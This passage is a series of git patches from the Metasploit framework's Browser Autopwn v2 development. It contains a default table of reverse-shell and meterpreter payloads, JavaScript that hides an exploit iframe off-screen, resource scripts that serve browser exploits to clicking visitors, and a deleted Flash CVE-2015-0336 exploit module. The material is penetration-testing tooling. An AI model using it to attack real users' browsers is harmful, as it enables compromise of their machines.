|k| + return true if k[0] == payload_name + end + + false + end + + + def is_multi_platform_exploit?(m) + m.fullname.include?('multi/') + end + + # Returns the selected payload. This method will choose a compatible payload based on the # default list. # @@ -382,54 +409,21 @@ module Msf compatible_payloads = [] DEFAULT_PAYLOADS.each_pair do |platform, info| - payload_choice = {} - payload_name = get_selected_payload_name(platform) - payload_lport = get_selected_payload_lport(platform) + payload_choice = { + :payload_name => get_selected_payload_name(platform), + :payload_lport => get_selected_payload_lport(platform) + } - # If the exploit has a platform, we don't have to call the expensive compatible_payloads method - begin - platform_obj = Msf::Module::Platform.find_platform(platform) - rescue ArgumentError - platform_obj = nil - # No platform obj found - end - - if !m.fullname.include?('multi/') && platform_obj && m.platform.platforms.include?(platform_obj) - payload_choice = { - :payload_name => payload_name, - :payload_lport => payload_lport - } - - # Module's compatible payloads. - compatible_payloads << payload_choice - - # Track all compatible payloads. - @wanted_payloads << payload_choice - - return compatible_payloads - end - - # Either it's a multi-platform module, or there's no platform information. - m.compatible_payloads.each do |k| - if k[0] == payload_name - payload_choice = { - :payload_name => payload_name, - :payload_lport => payload_lport - } - - # Module's compatible payloads. - compatible_payloads << payload_choice - - # Track all compatible payloads. - @wanted_payloads << payload_choice - - # If the module isn't multiple, we assume there is only one payload that needs to be set, - # therefore no need to continue. - break if !m.fullname.include?('multi/') - end + if !is_multi_platform_exploit?(m) && !m.platform.platforms.empty? && is_payload_platform_compatible?(m, platform) + compatible_payloads << payload_choice + break + elsif is_payload_compatible?(m, payload_choice[:payload_name]) + compatible_payloads << payload_choice end end + @wanted_payloads.concat(compatible_payloads) + compatible_payloads end @@ -738,6 +732,10 @@ module Msf else return datastore['Content'] end + elsif exploit_list.empty? + print_status("No suitable exploits to send.") + send_not_found(cli) + return '' end From 31027411576c6b8a1212d95a821095b3582348ca Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Mon, 25 May 2015 11:54:58 -0500 Subject: [PATCH 062/150] Don't need print_line --- lib/msf/core/exploit/browserautopwnv2.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 0fb2ef7efe..8cde1330d2 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -472,7 +472,6 @@ module Msf start_payload_listeners t2 = Time.now - print_line print_status("Time spent: #{(t2-t1).inspect}") end From a0e0e3d360cf36383553c2663a9527d2effd9397 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Mon, 25 May 2015 17:24:41 -0500 Subject: [PATCH 063/150] Description --- modules/exploits/multi/browser/autopwn.rb | 40 +++++++++++++++++++++-- 1 file changed, 37 insertions(+), 3 deletions(-) diff --git a/modules/exploits/multi/browser/autopwn.rb b/modules/exploits/multi/browser/autopwn.rb index 343e544415..6302cd4d2f 100644 --- a/modules/exploits/multi/browser/autopwn.rb +++ b/modules/exploits/multi/browser/autopwn.rb @@ -12,9 +12,40 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info={}) super(update_info(info, - 'Name' => "HTTP Client Automatic Exploiter", + 'Name' => "HTTP Client Automatic Exploiter (Browser Autopwn)", 'Description' => %q{ - Place holder + This module will automatically serve browser exploits. Here are the options you can + configure: + + The Include option allows you to specify the kind of exploits to be loaded. For example, + if you wish to load just Adobe Flash exploits, then you can set Include to 'adobe_flash'. + + The Exclude option will ignore exploits. For example, if you don't want any Adobe Flash + exploits, you can set this. Also note that the Exclude option will always be evaludated + after the Include option. + + The MaxExploits option specifies the max number of exploits to load by Browser Autopwn. + By default, 20 will be loaded. But note that the client will probably not be vulnerable + to all 20 of them, so only some will actually be served to the client. + + The Content option allows you to provide a basic webpage. This is what the user behind + the vulnerable browser will see. You can simply set a string, or you can do the file:// + syntax to load an HTML file. Note this option might break exploits so try to keep it + as simple as possible. + + The WhiteList option can be used to avoid visitors that are outside the scope of your + pentest engagement. IPs that are not on the list will not be attacked. + + The MaxSessions option is used to limit how many sessions Browser Autopwn is allowed to + get. The default -1 means unlimited. Combining this with other options such as RealList + and Custom404, you can get information about which visitors (IPs) clicked on your malicious + link, what exploits they might be vulnerable to, redirect them to your own internal + training website without actually attacking them. + + The RealList is an option that will list what exploits the client might be vulnerable to + based on basic browser information. If possible, you can run the exploits for validation. + + For more information about Browser Autopwn, please see the reference link. }, 'License' => MSF_LICENSE, 'Author' => [ 'sinn3r' ], @@ -23,6 +54,10 @@ class Metasploit3 < Msf::Exploit::Remote 'Privileged' => false, 'DisclosureDate' => "Feb 5 2014", 'Targets' => [ [ 'Automatic', {} ] ], + 'References' => + [ + [ 'URL', 'https://github.com/rapid7/metasploit-framework/wiki' ] + ], 'DefaultTarget' => 0)) @@ -30,7 +65,6 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ - OptEnum.new('Action', [false, 'Action', 'WebServer', ['WebServer','DefangedDetection'], 'WebServer']), OptRegexp.new('Include', [false, 'Pattern search to include specific modules']), OptRegexp.new('Exclude', [false, 'Pattern search to exclude specific modules']), OptInt.new('MaxExploits', [false, 'Number of browser exploits to load', 20]), From 5d0053e4efd6e58f79dabdde7de60ee21dd900b3 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 27 May 2015 00:43:47 -0500 Subject: [PATCH 064/150] Move iframe instead of hiding, which seems to improve Flash reliability --- lib/msf/core/exploit/browserautopwnv2.rb | 29 +++++++++++++++++------- 1 file changed, 21 insertions(+), 8 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 8cde1330d2..1ad9b4a24b 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -743,17 +743,30 @@ module Msf var currentIndex = 0; var exploitList = [#{exploit_list.map! {|e| "'#{e}'"} * ", "}]; + function setElementStyle(e, opts) { + if (typeof e.style.setAttribute == 'undefined') { + var attributeString = ''; + for (var key in opts) { attributeString += key + ":" + opts[key] + ";" } + e.setAttribute("style", attributeString); + } else { + for (var key in opts) { + e.style.setAttribute(key, opts[key]); + } + } + } + + function moveIframe(e) { + var opts = { + 'position': 'absolute', + 'left': screen.width * -screen.width + } + setElementStyle(e, opts); + } + window.onload = function() { var e = document.createElement("iframe"); e.setAttribute("id", "myiframe"); - //if (typeof e.style.setAttribute == 'undefined') { - // e.setAttribute("style", "visibility:hidden;height:0;width:0;border:0"); - //} else { - // e.style.setAttribute("visibility", "hidden"); - // e.style.setAttribute("height", "0"); - // e.style.setAttribute("width", "0"); - // e.style.setAttribute("border", "0"); - //} + moveIframe(e); document.body.appendChild(e); setTimeout("loadExploit(currentIndex)", 1000); } From dab9a66ea362705799d154b6800b79409e8c3b66 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 29 May 2015 13:43:20 -0500 Subject: [PATCH 065/150] Use current ruby hash syntax --- lib/msf/core/exploit/browserautopwnv2.rb | 28 +++++++++++------------ modules/exploits/multi/browser/autopwn.rb | 4 ++-- 2 files changed, 16 insertions(+), 16 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 1ad9b4a24b..c020e6161d 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -31,14 +31,14 @@ module Msf # The loader order is specific while starting them up. # Firefox payloads use generic handlers. DEFAULT_PAYLOADS = { - 'firefox' => { 'payload' => 'firefox/shell_reverse_tcp', 'lport' => 4442 }, - 'android' => { 'payload' => 'android/meterpreter/reverse_tcp', 'lport' => 4443 }, - 'win' => { 'payload' => 'windows/meterpreter/reverse_tcp', 'lport' => 4444 }, - 'linux' => { 'payload' => 'linux/x86/meterpreter/reverse_tcp', 'lport' => 4445 }, - 'unix' => { 'payload' => 'cmd/unix/reverse', 'lport' => 4446 }, - 'osx' => { 'payload' => 'osx/x86/shell_reverse_tcp', 'lport' => 4447 }, - 'java' => { 'payload' => 'java/meterpreter/reverse_tcp', 'lport' => 4448 }, - 'generic' => { 'payload' => 'generic/shell_reverse_tcp', 'lport' => 4459 } + firefox: { payload: 'firefox/shell_reverse_tcp', lport: 4442 }, + android: { payload: 'android/meterpreter/reverse_tcp', lport: 4443 }, + win: { payload: 'windows/meterpreter/reverse_tcp', lport: 4444 }, + linux: { payload: 'linux/x86/meterpreter/reverse_tcp', lport: 4445 }, + unix: { payload: 'cmd/unix/reverse', lport: 4446 }, + osx: { payload: 'osx/x86/shell_reverse_tcp', lport: 4447 }, + java: { payload: 'java/meterpreter/reverse_tcp', lport: 4448 }, + generic: { payload: 'generic/shell_reverse_tcp', lport: 4459 } } @@ -280,16 +280,16 @@ module Msf # Returns a payload name. Either this will be the user's choice, or falls back to a default one. # # @see DEFAULT_PAYLOADS The default settings. - # @param [String] platform Platform name. + # @param [Symbol] platform Platform name. # @return [String] Payload name. def get_selected_payload_name(platform) - payload_name = datastore["PAYLOAD_#{platform.upcase}"] + payload_name = datastore["PAYLOAD_#{platform.to_s.upcase}"] # The payload is legit, we can use it. # Avoid #create seems faster return payload_name if framework.payloads.keys.include?(payload_name) - default = DEFAULT_PAYLOADS[platform]['payload'] + default = DEFAULT_PAYLOADS[platform][:payload] # The user has configured some unknown payload that we can't use, # fall back to default. @@ -302,7 +302,7 @@ module Msf # @param [String] platform # @return [Fixnum] def get_selected_payload_lport(platform) - datastore["PAYLOAD_#{platform.upcase}_LPORT"] + datastore["PAYLOAD_#{platform.to_s.upcase}_LPORT"] end @@ -375,7 +375,7 @@ module Msf def is_payload_platform_compatible?(m, payload_platform) begin - platform_obj = Msf::Module::Platform.find_platform(payload_platform) + platform_obj = Msf::Module::Platform.find_platform(payload_platform.to_s) rescue ArgumentError false end @@ -557,7 +557,7 @@ module Msf 'Columns' => ['Option Name', 'Description'] ) DEFAULT_PAYLOADS.each_pair do |platform, payload_info| - table << ["PAYLOAD_#{platform.upcase}", "Payload for #{platform} browser exploits"] + table << ["PAYLOAD_#{platform.to_s.upcase}", "Payload for #{platform} browser exploits"] end print_line(table.to_s) print_status("Example: set PAYLOAD_WIN windows/meterpreter/reverse_tcp") diff --git a/modules/exploits/multi/browser/autopwn.rb b/modules/exploits/multi/browser/autopwn.rb index 6302cd4d2f..809eba0fb7 100644 --- a/modules/exploits/multi/browser/autopwn.rb +++ b/modules/exploits/multi/browser/autopwn.rb @@ -90,8 +90,8 @@ class Metasploit3 < Msf::Exploit::Remote def get_advanced_options opts = [] DEFAULT_PAYLOADS.each_pair do |platform, payload_info| - opts << OptString.new("PAYLOAD_#{platform.upcase}", [true, "Payload for #{platform} browser exploits", payload_info['payload'] ]) - opts << OptInt.new("PAYLOAD_#{platform.upcase}_LPORT", [true, "Payload LPORT for #{platform} browser exploits", payload_info['lport']]) + opts << OptString.new("PAYLOAD_#{platform.to_s.upcase}", [true, "Payload for #{platform} browser exploits", payload_info[:payload] ]) + opts << OptInt.new("PAYLOAD_#{platform.to_s.upcase}_LPORT", [true, "Payload LPORT for #{platform} browser exploits", payload_info[:lport]]) end opts From 0384b115e96ddea36bea320ebb5e0994ea160bbb Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 29 May 2015 17:41:02 -0500 Subject: [PATCH 066/150] Fix reload bug --- lib/msf/core/exploit/browserautopwnv2.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index c020e6161d..ea7956435b 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -47,11 +47,12 @@ module Msf # # @return [void] def init_exploits + $stderr.puts "In init_exploits" # First we're going to avoid using #find_all because that gets very slow. framework.exploits.each_pair do |fullname, place_holder| # If the place holder isn't __SYMBOLIC__, then that means the module is initialized, # and that's gotta be the active browser autopwn. - next if !fullname.include?('browser') || place_holder != '__SYMBOLIC__' + next if !fullname.include?('browser') || self.fullname == "exploit/#{fullname}" # The user gets to specify which modules to include/exclude next if datastore['Include'] && fullname !~ datastore['Include'] From 58c57673302ce3bdc5cc2444945c55b9f6bb540d Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 29 May 2015 17:41:29 -0500 Subject: [PATCH 067/150] Don't need stderr.puts --- lib/msf/core/exploit/browserautopwnv2.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index ea7956435b..59eff4ecd9 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -47,7 +47,6 @@ module Msf # # @return [void] def init_exploits - $stderr.puts "In init_exploits" # First we're going to avoid using #find_all because that gets very slow. framework.exploits.each_pair do |fullname, place_holder| # If the place holder isn't __SYMBOLIC__, then that means the module is initialized, From e83677d29da763e57976293f9074589bdee210df Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 29 May 2015 17:43:26 -0500 Subject: [PATCH 068/150] rm deprecated mod --- .../adobe_flash_net_connection_confusion.rb | 121 ------------------ 1 file changed, 121 deletions(-) delete mode 100644 modules/exploits/windows/browser/adobe_flash_net_connection_confusion.rb diff --git a/modules/exploits/windows/browser/adobe_flash_net_connection_confusion.rb b/modules/exploits/windows/browser/adobe_flash_net_connection_confusion.rb deleted file mode 100644 index 3bcb6a7130..0000000000 --- a/modules/exploits/windows/browser/adobe_flash_net_connection_confusion.rb +++ /dev/null @@ -1,121 +0,0 @@ -## -# This module requires Metasploit: http://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' - -class Metasploit3 < Msf::Exploit::Remote - Rank = NormalRanking - - include Msf::Exploit::Powershell - include Msf::Exploit::Remote::BrowserExploitServer - include Msf::Module::Deprecated - - deprecated(Date.new(2015, 7, 27), 'exploit/multi/browser/adobe_flash_net_connection_confusion') - - def initialize(info={}) - super(update_info(info, - 'Name' => 'Adobe Flash Player NetConnection Type Confusion', - 'Description' => %q{ - This module exploits a type confusion vulnerability in the NetConnection class on - Adobe Flash Player. When using a correct memory layout this vulnerability allows - to corrupt arbitrary memory. It can be used to overwrite dangerous objects, like - vectors, and finally accomplish remote code execution. This module has been tested - successfully on Windows 7 SP1 (32-bit), IE 8 and IE11 with Flash 16.0.0.305. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Natalie Silvanovich', # Vulnerability discovery and Google Project Zero Exploit - 'Unknown', # Exploit in the wild - 'juan vazquez' # msf module - ], - 'References' => - [ - ['CVE', '2015-0336'], - ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb15-05.html'], - ['URL', 'http://googleprojectzero.blogspot.com/2015/04/a-tale-of-two-exploits.html'], - ['URL', 'http://malware.dontneedcoffee.com/2015/03/cve-2015-0336-flash-up-to-1600305-and.html'], - ['URL', 'https://www.fireeye.com/blog/threat-research/2015/03/cve-2015-0336_nuclea.html'], - ['URL', 'https://blog.malwarebytes.org/exploits-2/2015/03/nuclear-ek-leverages-recently-patched-flash-vulnerability/'] - ], - 'Payload' => - { - 'DisableNops' => true - }, - 'Platform' => 'win', - 'BrowserRequirements' => - { - :source => /script|headers/i, - :os_name => OperatingSystems::Match::WINDOWS_7, - :ua_name => Msf::HttpClients::IE, - :flash => lambda { |ver| ver =~ /^16\./ && Gem::Version.new(ver) <= Gem::Version.new('16.0.0.305') }, - :arch => ARCH_X86 - }, - 'Targets' => - [ - [ 'Automatic', {} ] - ], - 'Privileged' => false, - 'DisclosureDate' => 'Mar 12 2015', - 'DefaultTarget' => 0)) - end - - def exploit - @swf = create_swf - @trigger = create_trigger - super - end - - def on_request_exploit(cli, request, target_info) - print_status("Request: #{request.uri}") - - if request.uri =~ /\.swf$/ - print_status('Sending SWF...') - send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'}) - return - end - - print_status('Sending HTML...') - send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) - end - - def exploit_template(cli, target_info) - swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" - target_payload = get_payload(cli, target_info) - psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true}) - b64_payload = Rex::Text.encode_base64(psh_payload) - - trigger_hex_stream = @trigger.unpack('H*')[0] - - html_template = %Q| - - - - - - - - - - - | - - return html_template, binding() - end - - def create_swf - path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0336', 'msf.swf') - swf = ::File.open(path, 'rb') { |f| swf = f.read } - - swf - end - - def create_trigger - path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0336', 'trigger.swf') - swf = ::File.open(path, 'rb') { |f| swf = f.read } - - swf - end -end From 28d35a5bf47886a258c0ddc6d7e72407dff8916e Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 29 May 2015 18:03:56 -0500 Subject: [PATCH 069/150] Update doc --- lib/msf/core/exploit/browserautopwnv2.rb | 24 +++++++++++++++++++++--- 1 file changed, 21 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 59eff4ecd9..df0fc0c2a8 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -299,7 +299,7 @@ module Msf # Returns the selected payload's LPORT. # - # @param [String] platform + # @param [Symbol] platform # @return [Fixnum] def get_selected_payload_lport(platform) datastore["PAYLOAD_#{platform.to_s.upcase}_LPORT"] @@ -373,6 +373,13 @@ module Msf end + # Checks whether the payload is compatible with the module based on platform information. + # Best for single-platform modules and for performance. + # + # @param [Object] m Module. + # @param [Symbol] payload_platform Payload platform. + # @return [TrueClass] Payload is compatible. + # @return [FalseClass] Payload is not compatible. def is_payload_platform_compatible?(m, payload_platform) begin platform_obj = Msf::Module::Platform.find_platform(payload_platform.to_s) @@ -386,6 +393,13 @@ module Msf end + # Checks whether the payload is compatible with the module based on the module's compatibility list. + # Best for multi-platform modules. This is much slower than #is_payload_platform_compatible? + # + # @param [Object] m Module. + # @param [String] payload_name + # @return [TrueClass] Payload is compatible. + # @return [FalseClass] Payload is not compatible. def is_payload_compatible?(m, payload_name) m.compatible_payloads.each do |k| return true if k[0] == payload_name @@ -395,13 +409,17 @@ module Msf end + # Checks if the module is multi-platform based on the directory path. + # + # @param [Object] m Module. + # @return [TrueClass] Module is multi-platform. + # @return [FalseClass] Module is not multi-platform. def is_multi_platform_exploit?(m) m.fullname.include?('multi/') end - # Returns the selected payload. This method will choose a compatible payload based on the - # default list. + # Returns an appropriate payload that's compatible with the module. # # @param [Object] m A module that's been initialized. # @return [String] Payload name. Example: 'windows/meterpreter/reverse_tcp' From 5c890004b80462bc5d6340539a51afbd61f4fe85 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 29 May 2015 18:32:57 -0500 Subject: [PATCH 070/150] Do stop_service in cleanup --- lib/msf/core/exploit/browserautopwnv2.rb | 1 + lib/msf/core/exploit/tcp_server.rb | 4 +--- 2 files changed, 2 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index df0fc0c2a8..280e2359f3 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -141,6 +141,7 @@ module Msf rm_target_info_notes rm_exploit_jobs rm_payload_jobs + stop_service if service end diff --git a/lib/msf/core/exploit/tcp_server.rb b/lib/msf/core/exploit/tcp_server.rb index 3744de0782..14af809cc9 100644 --- a/lib/msf/core/exploit/tcp_server.rb +++ b/lib/msf/core/exploit/tcp_server.rb @@ -71,9 +71,7 @@ module Exploit::Remote::TcpServer super if(service) stop_service() - unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 - print_status("Server stopped.") - end + print_status("Server stopped.") end end From 6bb368d7342e01155ec7bf432e426cac3ce7e3a9 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Sat, 30 May 2015 16:15:29 -0500 Subject: [PATCH 071/150] Add resource scripts Easier for everybody to use --- scripts/resource/bap_dryrun_only.rc | 10 ++++++++++ scripts/resource/bap_firefox_only.rc | 8 ++++++++ scripts/resource/bap_flash_only.rc | 8 ++++++++ scripts/resource/bap_ie_only.rc | 8 ++++++++ 4 files changed, 34 insertions(+) create mode 100644 scripts/resource/bap_dryrun_only.rc create mode 100644 scripts/resource/bap_firefox_only.rc create mode 100644 scripts/resource/bap_flash_only.rc create mode 100644 scripts/resource/bap_ie_only.rc diff --git a/scripts/resource/bap_dryrun_only.rc b/scripts/resource/bap_dryrun_only.rc new file mode 100644 index 0000000000..dc5e02ddc7 --- /dev/null +++ b/scripts/resource/bap_dryrun_only.rc @@ -0,0 +1,10 @@ + +print_status("Starting BAP...") +print_status("Exploits will not be actually served, but you will know which ones each client might be vulnerable to.") +print_status("You can do 'notes -t baps.clicks' in msfconsole to see track clicks and client-specific exploit info.") +run_single("use exploit/multi/browser/autopwn") +run_single("set RealList true") +run_single("set MaxSessions 0") +run_single("set Content \"Hello, this is a security test. You shouldn't have clicked on that link :-)\"") +run_single("run") + \ No newline at end of file diff --git a/scripts/resource/bap_firefox_only.rc b/scripts/resource/bap_firefox_only.rc new file mode 100644 index 0000000000..e33f7813b5 --- /dev/null +++ b/scripts/resource/bap_firefox_only.rc @@ -0,0 +1,8 @@ + +print_status("Starting Browser Autopwn with Firefox-only BrowserExploitServer-based exploits.") +print_status("Older Firefox exploits don't use BES, therefore will not be loaded.") +run_single("use exploit/multi/browser/autopwn") +run_single("set Include (mozilla_firefox|firefox)_") +run_single("set RealList true") +run_single("run") + \ No newline at end of file diff --git a/scripts/resource/bap_flash_only.rc b/scripts/resource/bap_flash_only.rc new file mode 100644 index 0000000000..4a764ee960 --- /dev/null +++ b/scripts/resource/bap_flash_only.rc @@ -0,0 +1,8 @@ + +print_status("Starting Browser Autopwn with Adobe Flash-only BrowserExploitServer-based exploits.") +print_status("Older Adobe Flash exploits don't use BES, therefore will not be loaded.") +run_single("use exploit/multi/browser/autopwn") +run_single("set Include adobe_flash") +run_single("set RealList true") +run_single("run") + \ No newline at end of file diff --git a/scripts/resource/bap_ie_only.rc b/scripts/resource/bap_ie_only.rc new file mode 100644 index 0000000000..935afa0560 --- /dev/null +++ b/scripts/resource/bap_ie_only.rc @@ -0,0 +1,8 @@ + +print_status("Starting Browser Autopwn with IE-only BrowserExploitServer-based exploits.") +print_status("Older IE exploits don't use BES, therefore will not be loaded.") +run_single("use exploit/multi/browser/autopwn") +run_single("set Include (ms\\\\d\\\\d_\\\\d+|ie)_") +run_single("set RealList true") +run_single("run") + \ No newline at end of file From ab443cbae3b9cfb7c7f21e540d7d9917ecfa24f9 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Sat, 30 May 2015 19:29:14 -0500 Subject: [PATCH 072/150] Small description update --- scripts/resource/bap_dryrun_only.rc | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/scripts/resource/bap_dryrun_only.rc b/scripts/resource/bap_dryrun_only.rc index dc5e02ddc7..2eb5619401 100644 --- a/scripts/resource/bap_dryrun_only.rc +++ b/scripts/resource/bap_dryrun_only.rc @@ -1,7 +1,7 @@ print_status("Starting BAP...") -print_status("Exploits will not be actually served, but you will know which ones each client might be vulnerable to.") -print_status("You can do 'notes -t baps.clicks' in msfconsole to see track clicks and client-specific exploit info.") +print_status("Exploits will not be actually served, but you will know which ones the clients might be vulnerable to.") +print_status("You can do 'notes -t baps.clicks' in msfconsole to track clicks and client-specific exploit info.") run_single("use exploit/multi/browser/autopwn") run_single("set RealList true") run_single("set MaxSessions 0") From 55a2aa43b52cf9ce6e9994541471e7283935a744 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Sat, 30 May 2015 19:31:28 -0500 Subject: [PATCH 073/150] Update bap_dryrun_only.rc --- scripts/resource/bap_dryrun_only.rc | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/scripts/resource/bap_dryrun_only.rc b/scripts/resource/bap_dryrun_only.rc index 2eb5619401..855aca5f4d 100644 --- a/scripts/resource/bap_dryrun_only.rc +++ b/scripts/resource/bap_dryrun_only.rc @@ -5,6 +5,12 @@ print_status("You can do 'notes -t baps.clicks' in msfconsole to track clicks an run_single("use exploit/multi/browser/autopwn") run_single("set RealList true") run_single("set MaxSessions 0") + +# Instead of set Content, you can also do set Custom404 to redirect the client to an SE training website +# For example (why don't you try this? :-) ) +# run_single("set Custom404 https://www.youtube.com/watch?v=dQw4w9WgXcQ") + run_single("set Content \"Hello, this is a security test. You shouldn't have clicked on that link :-)\"") + run_single("run") \ No newline at end of file From 5f4b2ed22a8d4583a37b1548e42c4649af8549c0 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 4 Jun 2015 23:36:36 -0500 Subject: [PATCH 074/150] Newline --- .../exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb b/modules/exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb index 6ea9de8851..2b401c731b 100644 --- a/modules/exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb +++ b/modules/exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb @@ -143,4 +143,4 @@ class Metasploit3 < Msf::Exploit::Remote swf end -end \ No newline at end of file +end From be60f964c6524c6670906c88ffdac3670e7e38ae Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 5 Jun 2015 10:50:52 -0500 Subject: [PATCH 075/150] Call super for cleanup --- lib/msf/core/exploit/browserautopwnv2.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 280e2359f3..d37a8991de 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -141,7 +141,7 @@ module Msf rm_target_info_notes rm_exploit_jobs rm_payload_jobs - stop_service if service + super end From ecdeeea5c6ae20df2ca4b2684eea7a35c140b337 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 5 Jun 2015 11:11:40 -0500 Subject: [PATCH 076/150] Make sure super is called --- lib/msf/core/exploit/browserautopwnv2.rb | 7 ++++++- lib/msf/core/exploit/remote/browser_exploit_server.rb | 1 + 2 files changed, 7 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index d37a8991de..97e6111234 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -132,16 +132,21 @@ module Msf end + def stop_bap_job + $stderr.puts self.inspect + end + + # Cleans up everything such as notes and jobs. # # @see #rm_exploit_jobs The method for cleaning up jobs. # @see #rm_target_info_notes The method for removing target information (found in db notes). # @return [void] def cleanup + super rm_target_info_notes rm_exploit_jobs rm_payload_jobs - super end diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index 074202b8e0..f07ec28166 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -128,6 +128,7 @@ module Msf # Cleans up target information owned by the current module. def cleanup + super # Whoever registered NoteTypePrefix should do the cleanup for notes return if self.datastore['NoteTypePrefix'] From f8c5e5a70ace011e94c96645dd9bf84406adfdf0 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 5 Jun 2015 11:16:43 -0500 Subject: [PATCH 077/150] Don't show "Server stopped" --- lib/msf/core/exploit/tcp_server.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/tcp_server.rb b/lib/msf/core/exploit/tcp_server.rb index 14af809cc9..3a84cf38c9 100644 --- a/lib/msf/core/exploit/tcp_server.rb +++ b/lib/msf/core/exploit/tcp_server.rb @@ -71,7 +71,7 @@ module Exploit::Remote::TcpServer super if(service) stop_service() - print_status("Server stopped.") + print_status("Server stopped.") unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 end end From e1c30e973dc706b005ad507809d742b25bf67658 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 5 Jun 2015 12:14:43 -0500 Subject: [PATCH 078/150] Fix SRVHOST --- lib/msf/core/exploit/browserautopwnv2.rb | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 97e6111234..5e91af35a2 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -476,6 +476,7 @@ module Msf t1 = Time.now self.datastore['MODULEOWNER'] = Msf::Exploit::Remote::BrowserAutopwnv2 self.datastore['DisablePayloadHandler'] = true + super @bap_exploits = [] @exploit_job_ids = [] @@ -546,8 +547,12 @@ module Msf def start_service super show_ready_exploits + proto = (datastore['SSL'] ? "https" : "http") + srvhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] + srvport = datastore['SRVPORT'] + service_uri = 